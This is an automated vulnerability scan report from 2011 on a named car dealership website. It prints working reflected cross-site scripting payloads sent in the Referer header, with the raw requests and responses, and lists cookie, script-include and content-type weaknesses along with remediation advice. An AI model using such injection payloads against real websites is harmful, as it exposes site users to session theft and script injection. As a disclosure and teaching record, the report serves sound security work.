XSS, DORK, Cross Site Scripting, CWE-79, CAPEC-86, hollerclassic.com

CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

Report generated by XSS.CX at Sun Apr 17 09:30:42 CDT 2011.

XSS.CX Research investigates and reports on security vulnerabilities embedded in Web Applications and Products used in wide-scale deployment.

XSS.CX Home | XSS.CX Research Blog
Loading

1. Cross-site scripting (reflected)

1.1. http://www.hollerclassic.com/index.htm [Referer HTTP header]

1.2. http://www.hollerclassic.com/index.htm [Referer HTTP header]

2. Cookie without HttpOnly flag set

3. Cross-domain script include

4. Content type incorrectly stated


1. Cross-site scripting (reflected)  next
There are 2 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://www.hollerclassic.com/index.htm [Referer HTTP header]  next

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.hollerclassic.com
Path:   /index.htm

Issue detail

The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 18a7b'-alert(1)-'9a5e8f0fc61 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /index.htm HTTP/1.1
Host: www.hollerclassic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=18a7b'-alert(1)-'9a5e8f0fc61

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Date: Sun, 17 Apr 2011 14:19:38 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ssoid=63d4c1830a0a002f017f2dacf05de77c;path=/
Set-Cookie: JSESSIONID=1cb1jpmleu3fv;path=/
Set-Cookie: ddcpoolid=CmsPoolP;path=/;
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 54446

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms14.dealer.ddc p7072 -->

   <title> | New Audi, Chevrolet, Honda, Hummer, Hyundai, Mazda dealership in Winter Park, FL 32789
...[SNIP]...
tact: '',
               portal: '',
               sem: '',
               rlCookie: '',
               region: '',
               keyword: '',
               locality: 'en_US',
               host: '173.193.214.243',
               sessionReferrer: 'http://www.google.com/search?hl=en&q=18a7b'-alert(1)-'9a5e8f0fc61',
               tcdkwid: '',
               tcdcmpid: '',
               tcdadid: '',
refId: '',
               platform: '',
               version: '',
               skin: '',
               templateExtra: '',
                       type: 10,
           extra: 'INDEX'
       };
               D
...[SNIP]...
1.2. http://www.hollerclassic.com/index.htm [Referer HTTP header]  previous

Summary

Severity:   Low
Confidence:   Certain
Host:   http://www.hollerclassic.com
Path:   /index.htm

Issue detail

The value of the Referer HTTP header is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 93436"><script>alert(1)</script>764517e4f23 was submitted in the Referer HTTP header. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.

Request

GET /index.htm HTTP/1.1
Host: www.hollerclassic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Referer: http://www.google.com/search?hl=en&q=93436"><script>alert(1)</script>764517e4f23

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Date: Sun, 17 Apr 2011 14:19:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ssoid=63d4bcb70a0a002f017f2dac6e2cf94b;path=/
Set-Cookie: JSESSIONID=pr05wamio9av;path=/
Set-Cookie: ddcpoolid=CmsPoolP;path=/;
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 54476

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms14.dealer.ddc p7072 -->

   <title> | New Audi, Chevrolet, Honda, Hummer, Hyundai, Mazda dealership in Winter Park, FL 32789
...[SNIP]...
<img src="http://hits.dealer.com/clear.gif?&amp;4=0&amp;5=0&amp;10=http://www.google.com/search?hl=en&q=93436"><script>alert(1)</script>764517e4f23&amp;20=www.hollerclassic.com&amp;21=/index.htm&amp;50=63d4bcb70a0a002f017f2dac6e2cf94b&amp;51=&amp;52=&amp;53=&amp;54=en_US&amp;55=173.193.214.243&amp;56=&amp;60=&amp;61=&amp;64=&amp;58=&amp;59=&amp;8
...[SNIP]...
2. Cookie without HttpOnly flag set  previous  next

Summary

Severity:   Low
Confidence:   Firm
Host:   http://www.hollerclassic.com
Path:   /index.htm

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

Request

GET /index.htm HTTP/1.1
Host: www.hollerclassic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Date: Sun, 17 Apr 2011 14:19:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ssoid=63d4ab340a0a002f017f2dacdb652d4a;path=/
Set-Cookie: JSESSIONID=14ti6ep08a04b;path=/
Set-Cookie: ddcpoolid=CmsPoolP;path=/;
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 54316

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms14.dealer.ddc p7072 -->

   <title> | New Audi, Chevrolet, Honda, Hummer, Hyundai, Mazda dealership in Winter Park, FL 32789
...[SNIP]...
3. Cross-domain script include  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.hollerclassic.com
Path:   /index.htm

Issue detail

The response dynamically includes the following scripts from other domains:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

Request

GET /index.htm HTTP/1.1
Host: www.hollerclassic.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse,CookieSet
Date: Sun, 17 Apr 2011 14:19:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: ssoid=63d4ab340a0a002f017f2dacdb652d4a;path=/
Set-Cookie: JSESSIONID=14ti6ep08a04b;path=/
Set-Cookie: ddcpoolid=CmsPoolP;path=/;
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 54316

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!-- wccms14.dealer.ddc p7072 -->

   <title> | New Audi, Chevrolet, Honda, Hummer, Hyundai, Mazda dealership in Winter Park, FL 32789
...[SNIP]...
<link rel="shortcut icon" type="image/vnd.microsoft.icon" href="http://static.dealer.com/v8/global/images/site-favicon-default.ico?1190664535000" />
           
   <script type="text/javascript" src="http://static.dealer.com/v8/global/js/ddc-common.js?1296844757000"></script>
...[SNIP]...
</script>


<script type="text/javascript" src="http://static.dealer.com/v8/widgets/generic/group/js/bestfit.pack.js?1262882894000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/global/js/jquery/jquery.hoverintent.min.js?1243439677000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/generic/group/js/group-nav.pack.js?1247241523000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/automotive/inventory/smartbrowse/js/generic-smartbrowse.pack.js?1286991339000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/global/js/jquery/jquery.flashback.pack.js?1290545914000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/widgets/generic/content/js/htmlcontent-style2-consolidation.js?1270484703000"></script>

<script type="text/javascript" src="http://static.dealer.com/v8/global/js/jquery/innerfade.pack.js?1271856844000"></script>


<script type="text/javascript" src="http://static.dealer.com/v8/global/js/misc/google-analytics.pack.js?1273851376000"></script>
...[SNIP]...
4. Content type incorrectly stated  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://www.hollerclassic.com
Path:   /smartbrowse/ajax/used.htm

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain JSON.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /smartbrowse/ajax/used.htm?detect=false&reset=InventoryListing&showYear=true&showMake=true&showModel=true&showAllModels=false&showTrim=false&showBodyStyle=false&showMileage=false&showPrice=true&showLocation=false&showHighywayMpgs=false HTTP/1.1
Host: www.hollerclassic.com
Proxy-Connection: keep-alive
Referer: http://www.hollerclassic.com/index.htm
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept: application/json, text/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ssoid=63dda7ab0a0a002f017f2dac183a097c; JSESSIONID=8klanm5n1qr6h; ddcpoolid=CmsPoolP; __utmz=193517236.1303050588.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/36; __utma=193517236.1979268532.1303050588.1303050588.1303050588.1; __utmc=193517236; __utmb=193517236.1.10.1303050588

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.1 (Linux/2.6.18-128.el5 i386 java/1.5.0_16
P3P: "https://secure4.dealer.com/P3P/PolicyReferences.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI"
Content-Type: text/html;charset=iso-8859-1
X-DDC-Arch-Trace: ,HttpResponse
Vary: Accept-Encoding
Date: Sun, 17 Apr 2011 14:29:48 GMT
Connection: close
Cache-Control: no-store
Content-Length: 2177

{


   "SByear" : { "2011":"2011 (19)", "2010":"2010 (161)", "2009":"2009 (39)", "2008":"2008 (157)", "2007":"2007 (76)", "2006":"2006 (44)", "2005":"2005 (39)", "2004":"2004 (15)", "2003":"2003
...[SNIP]...
Report generated by XSS.CX at Sun Apr 17 09:30:42 CDT 2011.